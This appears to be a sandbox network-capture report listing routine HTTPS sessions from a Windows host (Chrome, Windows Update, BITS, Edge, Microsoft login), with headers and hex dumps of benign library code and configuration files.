171:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003dfunction(a,b){_.Ab(b,function(c,d){d\u003d\u003d\"style\"?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49713	142.250.184.196	443	6252	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:41 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 14:16:42 UTC	933	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 18 Nov 2024 14:16:41 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-18 14:16:42 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-18 14:16:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49714	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:44 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=4T+hZraHcSoeyWd&MD=xT7Bx3Fa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 14:16:44 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ab1598dc-2cee-4360-8786-cdcb19b1aee2 MS-RequestId: 029b5b2d-54d4-4d85-9da4-fa5b6fd18628 MS-CV: svF+TPEiv0uPF0I+.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 14:16:43 GMT Connection: close Content-Length: 24490
2024-11-18 14:16:44 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 14:16:44 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:46 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 14:16:46 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=181718 Date: Mon, 18 Nov 2024 14:16:46 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49729	172.217.18.14	443	6252	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:46 UTC	737	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIu2yQEIo7bJAQipncoBCNT9ygEIlaHLAQiFoM0BCLnKzQEIidPNAQip1c0BGOmYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 14:16:46 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Nov 2024 00:30:46 GMT Expires: Sat, 15 Nov 2025 00:30:46 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 308760 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-18 14:16:46 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-18 14:16:46 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49735	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:47 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 14:16:47 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=181678 Date: Mon, 18 Nov 2024 14:16:47 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-18 14:16:47 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49739	94.245.104.56	443	7776	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:55 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 14:16:55 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 18 Nov 2024 14:16:54 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=441ebcba0ba2e4c633ce1b8b14633ab4876bfc30e64ee300298febb0b0a628d7;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49745	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 14:16:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
